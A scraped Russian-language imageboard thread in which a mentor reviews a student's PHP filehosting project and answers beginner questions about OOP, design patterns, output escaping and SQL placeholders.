> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L29


> $controllers->get('/{file}/remove', function(Application $app, Request $request, File $file) {


Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.

В ответ на успешный POST надо не показывать страницу, а делать редирект. Перечитай-ка урок про обработку форм.

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L60


> "attachment; filename=\"{$file->getOriginalName()}\"


Это не работает с русскими буквами так как в заголовках можно использовать только латинницу (есть стандарт для указания кодировки, он работает в новых браузерах). Кроссбраузерный метод задания имени файла для скачивания заключается в том что мы заканчиваем ссылку на него:

/download/123/название%20файла.txt

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L58


> "{$app['file.save_directory']}/{$file->getPath()}",


для формирования разных ссылок и путей надо сделать сервис или хелпер с методами, а не размазывать это по коду.

А, нельзя ли еще для тех у кого нету модуля X-SendFile, отдавать файл неэффективно, средствами PHP?

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L90


> createArrayOfValues


Ты можешь сильно уменьшить размер массива если передавать в шаблон не отдельные свойства файла, а сам объект $file. Вот это вот $file->getDateUpload()->format("Y-m-d, H:i:s"), однозначно должно быть в шаблоне а не в контроллере.

$mediaInfo надо сделать объектом, так как сейчас у тебя там массив и я не понимаю даже какие у него есть поля. Надо сделать объектом с известным набором полей, и нужными методами с понятными именами. Далее, надо сделать чтобы этот объект хранился внутри File и сохранялся/загружался из базы, автоматически кодируясь в JSON.

Картинку-превьюшку надо создавать только 1 раз либо при загрузке файла либо при первом обращении к ней.

> https://github.com/blackberryJam/filehosting/blob/master/app/Service/UserService.php#L162


Сообщения об ошибках надо сделать более информативными. Также, определись на каком языке сделан интерфейс сайта, русский или английский? Или может ты бы хотел научиться делать много-язычные страницы? Я могу дать подсказки как это реализовать.

Так, в общем твой проект выглядит интересно, Твиг, Доктрина, Silex, но порефакторить его придется еще немало.
#126 #560046
>>560036

Это какое-нибудь отношение имеет к PHP или веб-разработке?
#127 #560047
>>560036

Через GET наверно?
#128 #560050
>>558073

Не знаю, трудно так сказать, напиши какой именно паттерн хочется применить.

>>558087

> А как посчитать одновременно расстояние по вертикали и горизонтали?


расстояние по горизонтали между 2 клеточками это же просто abs(x1 - x2), аналогично по вертикали.

> Ну я переделал это теперь эти функции разделены и объявлены абстрактными чтобы переопределять поведение для каждого животного.


Почему у тебя есть функция оценки массив ходов но нет функции оценки одного отдельного варианта хода? Разве это не логичнее будет?

> Ты все еще против циклов?


Я не против циклов, но мне кажется должна быть функция оценки одного отдельного варианта хода, разве нет? А цикл тогда можно будет поместить хоть в Animal, он у обоих животных одинаковый.

> Почему-то здесь код крашиться, если использвовать throw new Exception(


В смысле крашится? В чем это проявляется?

> А как тогда намекнуть что поле symbol нужно переопределить? Добавить его в конструктор подойдет?


Надо сделать абстрактный метод getSymbol. Тогда его точно не забудешь определить.

>>558211

Не знаю. Но ты ведь можешь расковырять код плагина.

>>558292

Где именно присвоить? Там в Юи по моему роли по умолчанию в базе хранятся, но наверно можно переопределить какой-нибудь метод и сделать как угодно.

>>558321

Есть в документации http://www.yiiframework.com/doc/guide/1.1/en/database.arr

>>558437

На PHP пишут программы а HTML это язык разметки текста.

>>558575

Можно но сложно (гугли ReactPHP), обычно такое делают на ноде или даже Си++/Ява.

>>558648

Sublime Text 3 + консолька

>>558759

У тебя неправильное отношение. Верстка это часть разработки, и при чем тут стоит копейки? Если у тебя почасовая оплата то верстаешь ты час или пишешь код час, без разницы.

>>558802

Насчет проблемы с continue во вложенном цикле, есть 2 решения:

- в PHP есть констркции вроде continue 2/break 2 для выпрыгивания из вложенного цикла ( не стоит использовать, читабьельность страдает)
- можно вынести цикл и проверку в отдельный метод:

$animal = $this->getWorld()->determineTheObject($x, $y);
if ($this->isOneOF($animal, $tarck)) {
....
}
#128 #560050
>>558073

Не знаю, трудно так сказать, напиши какой именно паттерн хочется применить.

>>558087

> А как посчитать одновременно расстояние по вертикали и горизонтали?


расстояние по горизонтали между 2 клеточками это же просто abs(x1 - x2), аналогично по вертикали.

> Ну я переделал это теперь эти функции разделены и объявлены абстрактными чтобы переопределять поведение для каждого животного.


Почему у тебя есть функция оценки массив ходов но нет функции оценки одного отдельного варианта хода? Разве это не логичнее будет?

> Ты все еще против циклов?


Я не против циклов, но мне кажется должна быть функция оценки одного отдельного варианта хода, разве нет? А цикл тогда можно будет поместить хоть в Animal, он у обоих животных одинаковый.

> Почему-то здесь код крашиться, если использвовать throw new Exception(


В смысле крашится? В чем это проявляется?

> А как тогда намекнуть что поле symbol нужно переопределить? Добавить его в конструктор подойдет?


Надо сделать абстрактный метод getSymbol. Тогда его точно не забудешь определить.

>>558211

Не знаю. Но ты ведь можешь расковырять код плагина.

>>558292

Где именно присвоить? Там в Юи по моему роли по умолчанию в базе хранятся, но наверно можно переопределить какой-нибудь метод и сделать как угодно.

>>558321

Есть в документации http://www.yiiframework.com/doc/guide/1.1/en/database.arr

>>558437

На PHP пишут программы а HTML это язык разметки текста.

>>558575

Можно но сложно (гугли ReactPHP), обычно такое делают на ноде или даже Си++/Ява.

>>558648

Sublime Text 3 + консолька

>>558759

У тебя неправильное отношение. Верстка это часть разработки, и при чем тут стоит копейки? Если у тебя почасовая оплата то верстаешь ты час или пишешь код час, без разницы.

>>558802

Насчет проблемы с continue во вложенном цикле, есть 2 решения:

- в PHP есть констркции вроде continue 2/break 2 для выпрыгивания из вложенного цикла ( не стоит использовать, читабьельность страдает)
- можно вынести цикл и проверку в отдельный метод:

$animal = $this->getWorld()->determineTheObject($x, $y);
if ($this->isOneOF($animal, $tarck)) {
....
}
#129 #560054
>>559444

Посмотри отладчиком (Ctrl + Shift + I) на вкладке Network что куда отправляется и получается

Статья в помощь: http://learn.javascript.ru/debugging-chrome

>>559466

В чем? В надменном взгляде Юкиноситы Юкинон?

>>559479

Ну простое решение это клонировать SplObjectStorage перед циклом. Но ведь это не решит проблемы если где-то в другом месте мы опять наткнемся на проблему. Нужно системное решение, например:

- хранить животных в массиве а не SOS (массив передается как копия и проблемы нет)
- в методе getAllAnimals отдавать клон SOS
- в методе getAllAnimals делать из SOS массив и отдавать

В общем, выбирай стул.

>>559502

Тяжела и неказиста жизнь простого программиста. Попробуй хотя бы в своей зоне ответсвенности придерживаться лучших практик и читай наш тред перед сном и смотри мультики про единорогов чтобы отвлечься.

>>559646

Это все хорошо но в общем твой код надо переписать полностью. Посмотри на фреймворки или почитай мои уроки и думаю со временем
разберешься что к чему.

> т.к там всего одно условие проверки переменной $_POST['action'], но что ты скажешь если там будет 20-30 условий?


И в этом случае без лямбды будет короче на 2 строки

> у меня есть идея держать синтакс моего кода как можно ближе к синтаксу ЖС, так как это ИМХО: 1) открывает новые возможности ООП,


Ты просто пока не разбираешься в ООП

> повышает читабельность кода


Точно нет

>>559838

Ок, осталось отрефакторить все остальное.

>>560015

Я замечу что написано не очень правильно: «как n-й элемент обращается к памяти» - должно быть «размещается».

В моем учебнике только основы. Те кто учатся дальше, изучают больше.

- Наследование - есть в задаче про вектор
- Полиморфизм - не знаю, может в кошках-мышках что-то такое есть, они же по разному себя ведут
- Что такое порт и сокет - это тема «сетевые технологии» и «сетевое программирование», я могу учить но пока никто не высказал желания
- «понимание не менее 2 паттернов » - бред собачий. Почему именно не менее 2? дебильное требование в ответ на которое заучивается синглтон и фабрика и пересказывается, не понимая толком что это и зачем. Мы изучаем паттерны, которые нам нужны, например паттерны работы с базой данных, паттерны наследования таблиц, dependency injection.
- интерфейс vs абс класс - разбирали в прошлом треде
- DRY - постоянно ругаю начинающих анонов за нарушение принципа
- Singleton - давайте обсудим, выскажи свое мнение (ответ можно найти в моем уроке про DI: https://gist.github.com/codedokode/e1d31a31b37d5f635057 )
- ActiveRecord - есть в уроке: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
- почему фреймворк не MVС - не знаю, по моему вполне даже MVC
- нормализация - я обычно отправляю в гугл, там есть статьи
- почему внешние ключи нужны - постоянно объясняю и даю ссылку denis.in.ua/foreign-keys-in-mysql.htm
- jQuery - есть в задачах на js: https://gist.github.com/codedokode/ce30e7a036f18f416ae0#dom--jquery

В общем, ты невнимательно следишь за нашим тредом. Перечитай ОП пост, порешай дополнительные задачки.
#129 #560054
>>559444

Посмотри отладчиком (Ctrl + Shift + I) на вкладке Network что куда отправляется и получается

Статья в помощь: http://learn.javascript.ru/debugging-chrome

>>559466

В чем? В надменном взгляде Юкиноситы Юкинон?

>>559479

Ну простое решение это клонировать SplObjectStorage перед циклом. Но ведь это не решит проблемы если где-то в другом месте мы опять наткнемся на проблему. Нужно системное решение, например:

- хранить животных в массиве а не SOS (массив передается как копия и проблемы нет)
- в методе getAllAnimals отдавать клон SOS
- в методе getAllAnimals делать из SOS массив и отдавать

В общем, выбирай стул.

>>559502

Тяжела и неказиста жизнь простого программиста. Попробуй хотя бы в своей зоне ответсвенности придерживаться лучших практик и читай наш тред перед сном и смотри мультики про единорогов чтобы отвлечься.

>>559646

Это все хорошо но в общем твой код надо переписать полностью. Посмотри на фреймворки или почитай мои уроки и думаю со временем
разберешься что к чему.

> т.к там всего одно условие проверки переменной $_POST['action'], но что ты скажешь если там будет 20-30 условий?


И в этом случае без лямбды будет короче на 2 строки

> у меня есть идея держать синтакс моего кода как можно ближе к синтаксу ЖС, так как это ИМХО: 1) открывает новые возможности ООП,


Ты просто пока не разбираешься в ООП

> повышает читабельность кода


Точно нет

>>559838

Ок, осталось отрефакторить все остальное.

>>560015

Я замечу что написано не очень правильно: «как n-й элемент обращается к памяти» - должно быть «размещается».

В моем учебнике только основы. Те кто учатся дальше, изучают больше.

- Наследование - есть в задаче про вектор
- Полиморфизм - не знаю, может в кошках-мышках что-то такое есть, они же по разному себя ведут
- Что такое порт и сокет - это тема «сетевые технологии» и «сетевое программирование», я могу учить но пока никто не высказал желания
- «понимание не менее 2 паттернов » - бред собачий. Почему именно не менее 2? дебильное требование в ответ на которое заучивается синглтон и фабрика и пересказывается, не понимая толком что это и зачем. Мы изучаем паттерны, которые нам нужны, например паттерны работы с базой данных, паттерны наследования таблиц, dependency injection.
- интерфейс vs абс класс - разбирали в прошлом треде
- DRY - постоянно ругаю начинающих анонов за нарушение принципа
- Singleton - давайте обсудим, выскажи свое мнение (ответ можно найти в моем уроке про DI: https://gist.github.com/codedokode/e1d31a31b37d5f635057 )
- ActiveRecord - есть в уроке: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
- почему фреймворк не MVС - не знаю, по моему вполне даже MVC
- нормализация - я обычно отправляю в гугл, там есть статьи
- почему внешние ключи нужны - постоянно объясняю и даю ссылку denis.in.ua/foreign-keys-in-mysql.htm
- jQuery - есть в задачах на js: https://gist.github.com/codedokode/ce30e7a036f18f416ae0#dom--jquery

В общем, ты невнимательно следишь за нашим тредом. Перечитай ОП пост, порешай дополнительные задачки.
#130 #560055
>>560015

Алсо, проиграл:

> каким образом прототипный подход превосходит классовый


То-то каждая вторая библиотека содержит код для имитации классов.
#131 #560056
>>560050
Observer например для валидации логина можно применить. Прям как в учебнике описано.
Facade можно файлы класть и брать. Abstract Factory использовать для определения расширения файла.
#132 #560058
Я, кстати, так и не зазубрил определение инкапсуляции-наследования-полиморфизма. Т.е. я понимаю, что наследование - это наследование (методов от интерфейса или абстрактного класса), полиморфизм - это вроде бы наследование методов несколькими классами от одного интерфейса? А инкапсуляция - это создание и использование объекта одного класса в другом классе?
Например:

class LoginCommand extends Command {
function execute(CommandContext $context){
$manager = Registry::getAccessManager();
$user = $context->get("username");
$pass = $context->get('pass');
}}

Правильно написал?
#133 #560060
>>560056

По моему ни один из этих паттернов там не уместен.

Фабрика используется например чтобы влиять на процесс создания объектов другим (неподконтрольным нам) классом, при чем она тут?

>>560058

Нет, все неверно.

Наследование позволяет создавать класс не с нуля, а на основе другого класса. Полиморфизм значит что объекты-наследники одного класса могут иметь разное поведение (разную реализаию одного метода), при этом с ними со всеми может работать один и тот же код.

Ну например в задаче кошки-мышки у всех животных есть метод сделатьХод(), но реализован он по-разному и животные разных классов ведут себя по-разному. И при этом цикл который ими ходит, работает с ними независимо от того, какого они класса.

В общем чтобы понимать ООП, мало теории, надо все это зазубрить на практике, например решая задачки Вектор и Кошк-мышки.

Инкапсуляция, про нее есть паста:

-----

Суть инкапсуляции в том, что класс скрывает (инкапслирует) в себе логику работы с данными, а наружу выставляет методы. Пользователю этих методов не важно, как класс устроен внутри, как он хранит данные, ему достаточно вызвать нужный метод чтобы получить результат.

Это упрощает понимание кода: тебе не надо читать и разбирать код класса, достаточно прочитать название метода (и может быть комментарий к нему).

В твоем случае, мы можем инкапсулировать список животных внутри класса World. В этом случае другим классам не надо знать, как он там хранится, они просто вызывают методы вроде «найти всех кошек вокруг определенной точки» или «проверить можно ли сходить на клеточку x, y». Даже если мы поменяем способ хранения животных, нам придется править только один класс с World, все остальные останутся неизменными. Так инкапсуляция упрощает твою жизнь.

Инкапсуляция это хорошо. Так как весь код, который занимается одной задачей, оказывается заключен внутри одного класса. Противоположный случай это когда код (или знание о его внутреннем устройстве) вылезает из класса и размазывается по всей программе.

Так вот, когда ты выносишь список животных из класса World и делаешь так, что мышка допустим сама копается в каком-то массиве невнятного вида, ты как раз нарушаешь принцип инкапсуляции. Ты выносишь код работы с картой из класса World и размазываешь его по всему приложению. А ООП как раз был придуман чтобы каждый класс занимался своим делом.

-----

Твой пример кода ничего этого не демонстрирует. Исплоьзованный там Registry по большому счету антипаттерн.

Также, не уверен что уместно использовать паттерн Command для логина. Этот паттерн обычно используется в десктопных приложениях вроде текстовых и графических редакторов, а какая от него выгода тут? Или ты применяешь паттерны просто чтобы они были? Тогда у меня для тебя плохие новости.
#133 #560060
>>560056

По моему ни один из этих паттернов там не уместен.

Фабрика используется например чтобы влиять на процесс создания объектов другим (неподконтрольным нам) классом, при чем она тут?

>>560058

Нет, все неверно.

Наследование позволяет создавать класс не с нуля, а на основе другого класса. Полиморфизм значит что объекты-наследники одного класса могут иметь разное поведение (разную реализаию одного метода), при этом с ними со всеми может работать один и тот же код.

Ну например в задаче кошки-мышки у всех животных есть метод сделатьХод(), но реализован он по-разному и животные разных классов ведут себя по-разному. И при этом цикл который ими ходит, работает с ними независимо от того, какого они класса.

В общем чтобы понимать ООП, мало теории, надо все это зазубрить на практике, например решая задачки Вектор и Кошк-мышки.

Инкапсуляция, про нее есть паста:

-----

Суть инкапсуляции в том, что класс скрывает (инкапслирует) в себе логику работы с данными, а наружу выставляет методы. Пользователю этих методов не важно, как класс устроен внутри, как он хранит данные, ему достаточно вызвать нужный метод чтобы получить результат.

Это упрощает понимание кода: тебе не надо читать и разбирать код класса, достаточно прочитать название метода (и может быть комментарий к нему).

В твоем случае, мы можем инкапсулировать список животных внутри класса World. В этом случае другим классам не надо знать, как он там хранится, они просто вызывают методы вроде «найти всех кошек вокруг определенной точки» или «проверить можно ли сходить на клеточку x, y». Даже если мы поменяем способ хранения животных, нам придется править только один класс с World, все остальные останутся неизменными. Так инкапсуляция упрощает твою жизнь.

Инкапсуляция это хорошо. Так как весь код, который занимается одной задачей, оказывается заключен внутри одного класса. Противоположный случай это когда код (или знание о его внутреннем устройстве) вылезает из класса и размазывается по всей программе.

Так вот, когда ты выносишь список животных из класса World и делаешь так, что мышка допустим сама копается в каком-то массиве невнятного вида, ты как раз нарушаешь принцип инкапсуляции. Ты выносишь код работы с картой из класса World и размазываешь его по всему приложению. А ООП как раз был придуман чтобы каждый класс занимался своим делом.

-----

Твой пример кода ничего этого не демонстрирует. Исплоьзованный там Registry по большому счету антипаттерн.

Также, не уверен что уместно использовать паттерн Command для логина. Этот паттерн обычно используется в десктопных приложениях вроде текстовых и графических редакторов, а какая от него выгода тут? Или ты применяешь паттерны просто чтобы они были? Тогда у меня для тебя плохие новости.
#134 #560063
>>560060
>>560060

>Наследование позволяет создавать класс не с нуля, а на основе другого класса.


Ну я и написал, что наследование - это когда класс наследует другой через extends или implements. Вот поэтому и не люблю теорию, в коде все понятно, а слова только запутывают.
#135 #560065
Применяю паттерны, чтобы понтонуться знанием паттернов AMA
#136 #560074
Почему синглетон зло, я забыл?
#137 #560087
>>560045

>> https://github.com/blackberryJam/filehosting/blob/master/composer.json#L19


>> "": ""


>зачем?


Когда с фреймфорком разбирался, создавал временные классы и кидал их в корень проекта. Без этой строчки автозагрузчик их не находил.

>> `size` varchar(15)


>Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?


Да я как-то не смотрел так далеко. Такое может потребоваться наверно только при организации каталогов. Но ок, поменяю, данные, наверно, должны быть максимально "сырыми".

>По комментариям - какую схему исплоьзуешь для древовидности из https://github.com/codedokode/pasta/blob/master/db/trees.md ?


Я пока ещё не думал над этим. Код, имеющий отношение к комментам - лишь задел на будущее. Но судя по всему, там только один правильный выбор - materialized path?

>В таблице пользователей я вижу хеш пароля, а хеш соленый? Урок, если что: https://gist.github.com/codedokode/9576319


Урок читал, использовал новые функции password_hash() и password_verify().

>Еще, я не вижу системы по которой формируются имена сервисов. Должна же быть какая-то логика?


Логика такая: первое слово - сущность, к которой сервис имеет отношение, второе - его имя, третье - его зависимости.

>> https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L22


>Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager


$app['user'] удобно цеплять к отправляемому комментарию или файлу (но можно обойтись и без этого, только запись длиннее будет). А в сценариях, где состояние юзера в течение скрипта изменяется, это использовать не планируется.

>Аналогично $app['user.logged_in'] = false; незачем хранить в $app наверно. Или есть какие-то причины?


В мануале написано, что в TwigServiceProvider всегда передаётся экземпляр Silex\Application. Я решил этим воспользоваться: вместо того, чтобы тащить это значение через контроллер во вью, при смене состояния пользователя, мы всегда меняем это значение в $app, а из вью просто к нему обращаемся. Конечно понятно, что при построении максимально независимого вью так делать не стоит.

>Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько


А зачем это? Он и один загрузит, и несколько. Перетащенные файлы кидаются в массив, а при клике на кнопку вызывается forEach по массиву.

>или папка с файлами. проверь все эти сценарии.


Папки пока грузить нельзя, выдаст ошибку.

>И еще, а где классическое поле выбора файла?


>Ну и вдобавок хорошо бы конечно для стареньких браузеров определять что они не поддерживают FormData с файлами, и оставлять для них обычную отправку формы.


Добавлю позже. Сейчас бы с новыми для меня вещами разобраться. С аяксом, DOM, фреймворками.

>> https://github.com/blackberryJam/filehosting/blob/master/web/templates/base.html#L45


>> {% set lm = attribute(app, "user.service.login_manager") %}


>Странный какой-то код


Что с ним не так?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L27


>> 'file.service:getFileByIdOrCreateNewIfNotExists'


>Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?


Ну там в коллбеке тайп-хинт File. Его убрать?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L29


>> $controllers->get('/{file}/remove', function(Application $app, Request $request, File $file) {


>Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.


То есть для удаления файла надо слать форму?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L60


>> "attachment; filename=\"{$file->getOriginalName()}\"


>Это не работает с русскими буквами так как в заголовках можно использовать только латинницу (есть стандарт для указания кодировки, он работает в новых браузерах). Кроссбраузерный метод задания имени файла для скачивания заключается в том что мы заканчиваем ссылку на него:


>


>/download/123/название%20файла.txt


На моих браузерах всё работало (хром и лиса), но кодировку я не указывал. Браузеры ставят utf-8 по умолчанию при не ascii-символах?
И ещё, а есть смысл писать что-то вроде filename="{urlencode($file->getName())}"?

>$mediaInfo надо сделать объектом, так как сейчас у тебя там массив и я не понимаю даже какие у него есть поля. Надо сделать объектом с известным набором полей, и нужными методами с понятными именами. Далее, надо сделать чтобы этот объект хранился внутри File и сохранялся/загружался из базы, автоматически кодируясь в JSON.


Исправлю. Поля массива сейчас можно прочитать в свойстве $mediaInfoFields объекта FileService.
А то, что я храню MediaInfo в базе в виде urlencoded-строки - это ничего?

>Сообщения об ошибках надо сделать более информативными. Также, определись на каком языке сделан интерфейс сайта, русский или английский? Или может ты бы хотел научиться делать много-язычные страницы?


Хотел бы, но позже. Кнопочка "Загрузить!" случайно оказалась русскоязычной.
Да и с тем, как это реализовано на большинстве сайтов, чему там учиться-то? В зависимости от некоторого условия (им может быть даже гет-параметр, но это не красиво) передаём во вью необходимый массив значений.

За замечания спасибо, с остальным всё вроде ясно.
#137 #560087
>>560045

>> https://github.com/blackberryJam/filehosting/blob/master/composer.json#L19


>> "": ""


>зачем?


Когда с фреймфорком разбирался, создавал временные классы и кидал их в корень проекта. Без этой строчки автозагрузчик их не находил.

>> `size` varchar(15)


>Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?


Да я как-то не смотрел так далеко. Такое может потребоваться наверно только при организации каталогов. Но ок, поменяю, данные, наверно, должны быть максимально "сырыми".

>По комментариям - какую схему исплоьзуешь для древовидности из https://github.com/codedokode/pasta/blob/master/db/trees.md ?


Я пока ещё не думал над этим. Код, имеющий отношение к комментам - лишь задел на будущее. Но судя по всему, там только один правильный выбор - materialized path?

>В таблице пользователей я вижу хеш пароля, а хеш соленый? Урок, если что: https://gist.github.com/codedokode/9576319


Урок читал, использовал новые функции password_hash() и password_verify().

>Еще, я не вижу системы по которой формируются имена сервисов. Должна же быть какая-то логика?


Логика такая: первое слово - сущность, к которой сервис имеет отношение, второе - его имя, третье - его зависимости.

>> https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L22


>Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager


$app['user'] удобно цеплять к отправляемому комментарию или файлу (но можно обойтись и без этого, только запись длиннее будет). А в сценариях, где состояние юзера в течение скрипта изменяется, это использовать не планируется.

>Аналогично $app['user.logged_in'] = false; незачем хранить в $app наверно. Или есть какие-то причины?


В мануале написано, что в TwigServiceProvider всегда передаётся экземпляр Silex\Application. Я решил этим воспользоваться: вместо того, чтобы тащить это значение через контроллер во вью, при смене состояния пользователя, мы всегда меняем это значение в $app, а из вью просто к нему обращаемся. Конечно понятно, что при построении максимально независимого вью так делать не стоит.

>Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько


А зачем это? Он и один загрузит, и несколько. Перетащенные файлы кидаются в массив, а при клике на кнопку вызывается forEach по массиву.

>или папка с файлами. проверь все эти сценарии.


Папки пока грузить нельзя, выдаст ошибку.

>И еще, а где классическое поле выбора файла?


>Ну и вдобавок хорошо бы конечно для стареньких браузеров определять что они не поддерживают FormData с файлами, и оставлять для них обычную отправку формы.


Добавлю позже. Сейчас бы с новыми для меня вещами разобраться. С аяксом, DOM, фреймворками.

>> https://github.com/blackberryJam/filehosting/blob/master/web/templates/base.html#L45


>> {% set lm = attribute(app, "user.service.login_manager") %}


>Странный какой-то код


Что с ним не так?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L27


>> 'file.service:getFileByIdOrCreateNewIfNotExists'


>Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?


Ну там в коллбеке тайп-хинт File. Его убрать?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L29


>> $controllers->get('/{file}/remove', function(Application $app, Request $request, File $file) {


>Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.


То есть для удаления файла надо слать форму?

>> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L60


>> "attachment; filename=\"{$file->getOriginalName()}\"


>Это не работает с русскими буквами так как в заголовках можно использовать только латинницу (есть стандарт для указания кодировки, он работает в новых браузерах). Кроссбраузерный метод задания имени файла для скачивания заключается в том что мы заканчиваем ссылку на него:


>


>/download/123/название%20файла.txt


На моих браузерах всё работало (хром и лиса), но кодировку я не указывал. Браузеры ставят utf-8 по умолчанию при не ascii-символах?
И ещё, а есть смысл писать что-то вроде filename="{urlencode($file->getName())}"?

>$mediaInfo надо сделать объектом, так как сейчас у тебя там массив и я не понимаю даже какие у него есть поля. Надо сделать объектом с известным набором полей, и нужными методами с понятными именами. Далее, надо сделать чтобы этот объект хранился внутри File и сохранялся/загружался из базы, автоматически кодируясь в JSON.


Исправлю. Поля массива сейчас можно прочитать в свойстве $mediaInfoFields объекта FileService.
А то, что я храню MediaInfo в базе в виде urlencoded-строки - это ничего?

>Сообщения об ошибках надо сделать более информативными. Также, определись на каком языке сделан интерфейс сайта, русский или английский? Или может ты бы хотел научиться делать много-язычные страницы?


Хотел бы, но позже. Кнопочка "Загрузить!" случайно оказалась русскоязычной.
Да и с тем, как это реализовано на большинстве сайтов, чему там учиться-то? В зависимости от некоторого условия (им может быть даже гет-параметр, но это не красиво) передаём во вью необходимый массив значений.

За замечания спасибо, с остальным всё вроде ясно.
#138 #560088
>>560087

> Ну там в коллбеке тайп-хинт File.


Если написать File $file = null то можно передать и null.
#139 #560123
Делал движущуюся ленту картинок (jquery) http://jsfiddle.net/bfgwkeny/
для себя, что разобраться с принципом работы и выбрать лучший алгоритм так вот, конечно движется не плавно но не суть, заметил что большинство таких лент движутся рывками (даже если движется в одном темпе, а не так как у меня) есть ли какой-то способ избавиться от рывков я так понял они из за интервальности
447 Кб, 1716x2372
#140 #560134
>>558058 (OP)
Есть ли у кого-нибудь опыт запиливания модулей для друпала? Хочу для практики сделать модуль имиджборды. Я так понимаю, нужно запилить новые content type֊ы post и thread, так? А потом запилить блок, со списком тредов?
Можно ли как-нибудь сделать так, чтобы для добавления новых постов и тредов использовались дефолтные сгенерированные формы?
Спасибо.
143 Кб, 831x887
#141 #560241
>>560054

ок, убрал карго-лямбды, и вынес LIMIT 1 в конец query, я тут >>559838 /пик2/ допустил очепятку в строке 250, думаю не сложно догадаться что произошло. благо была копия таблицы
#142 #560244
Посоны вообще имеет смысл учить ПХП если я задрачиваю JavaScript?
#143 #560249
>>560244
Потренируйся литералли пару дней, чтобы знать что такое $_POST и уметь писать какой нибудь REST API
#144 #560265
Оп, как ты относишься к мнению что js со временем вытеснит пхп и руби, ведь проще выучить один язык для бекенда и фронтенда?
#145 #560337
<img src='ebal_makaku'>
#146 #560346
>>560123
в сторону transitions гугли.
#147 #560347
>>560241
Добавь массив в переменную и пиши return $peremennaya, ну что ты криворукий такой.
#148 #560351
>>560241
Вообще что за нелюбовь к переменным? Все геты и посты нужно пропускать через htmlchars и класть в переменные, а не ебашить прямо в ифах.
#149 #560365
>>560351

наркоман / 10
#150 #560518
Кто-нибудь может пояснить за нище-мультисайтовость на шаред хостинге с помощью доменов-алиасов?

Хочу заделать некоторое количество простых мини-сайтов, взял максимум дешевый шаред хостинг с ограничением на 3 сайта из которого по факту пока использую один, к которому прилепляю алиасы.
Пока всё очень просто index.php в корне просто смотрит $_SERVER["HTTP_HOST"] и для нужного домена подключает index.php из отдельной папки для этого домена.
На первый взгляд всё работает и эту связку можно развивать дальше, но опыта мало и не вижу, в каком месте это всё может вызвать проблемы.

Какие подводные камни?
Могу ли я всегда полагаться на $_SERVER["HTTP_HOST"], или возможны ситуации, когда, заходя по алиасу, HTTP_HOST не будет определен?
Если я возьму VPS, надобность в такой нище-многосайтовости пропадет? Я смогу делать столько сайтов, сколько нужно?
#151 #560564
>>560365
в школу уебывай, мразь.
#152 #560581
Анон, нихуя не понимаю как работает код отсюда:
http://www.w3schools.com/php/showphp.asp?filename=demo_form_validation_required

Вернее, не понимаю, как обрабатывается отсутствие информации в полях. Почему php-код снизу не исполняется, если обязательное поле не заполнено?
#153 #560591
>>560581
А, я просто тупой. Все, не надо ничего.
#154 #560701
>>560241

Теперь выпили карго-массив $options из этой функции и замени его на обычные переменные:

$options['queryAction'] -> $queryAction

И массив в return тоже.

Потом выпили все упоминания POST/GET, вместо них передавай в метод сохранения объект класса Page примерно такого вида:

class Page
{
public $path;
public $title;
public $description;
....
}

Потом вместо вставки данных прямо в SQL запрос начни использовать плейсхолдеры. Ну и урок про паттерны работы с Бд почитай. Может в итоге то-нибудь нормальное и выйдет.
#155 #560702
>>560265

К тому времени может быть сделают веб-ассемблер и JS можно будет заменить на любой другой язык. Соответственно с большой вероятностью вытеснят сам JS.

Гугл уже несколько заходов сделал (GWT, Dart, NaCl) чтобы можно было писать в браузере не на JS - видимо они тоже его не очень любят.

В нынешней версии JS не хватает очень многого чтобы на нем было удобно делать сложные приложения. Да там классов до сих пор нормальных нет с инкапсуляцией.

>>560351

Не надо. Экранировать данные надо по месту использования, то есть htmlspecialchars надо писать в HTML-шаблоне при выводе.

А например при вставке данных в БД htmlspecialchars только вредит - он искажает эти данные.

Ты учишь неправильным вещам. Выкинь свой устаревший учебник и возьми нормальный.

>>560518

Можно через htaccess, там можно написать условие вида «если хост == X то обращаться к этой папке».

Как по мне так оно того не стоит.

>>560564

Нет ты. Не ругайся в треде.
#155 #560702
>>560265

К тому времени может быть сделают веб-ассемблер и JS можно будет заменить на любой другой язык. Соответственно с большой вероятностью вытеснят сам JS.

Гугл уже несколько заходов сделал (GWT, Dart, NaCl) чтобы можно было писать в браузере не на JS - видимо они тоже его не очень любят.

В нынешней версии JS не хватает очень многого чтобы на нем было удобно делать сложные приложения. Да там классов до сих пор нормальных нет с инкапсуляцией.

>>560351

Не надо. Экранировать данные надо по месту использования, то есть htmlspecialchars надо писать в HTML-шаблоне при выводе.

А например при вставке данных в БД htmlspecialchars только вредит - он искажает эти данные.

